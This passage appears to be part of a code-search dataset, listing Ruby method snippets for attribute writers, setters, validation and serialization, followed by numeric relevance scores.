"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def default_phone=(default_phone)
if !default_phone.nil? && default_phone.to_s.length > 15
fail ArgumentError, "invalid value for 'default_phone', the character length must be smaller than or equal to 15."
end
@default_phone = default_phone
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
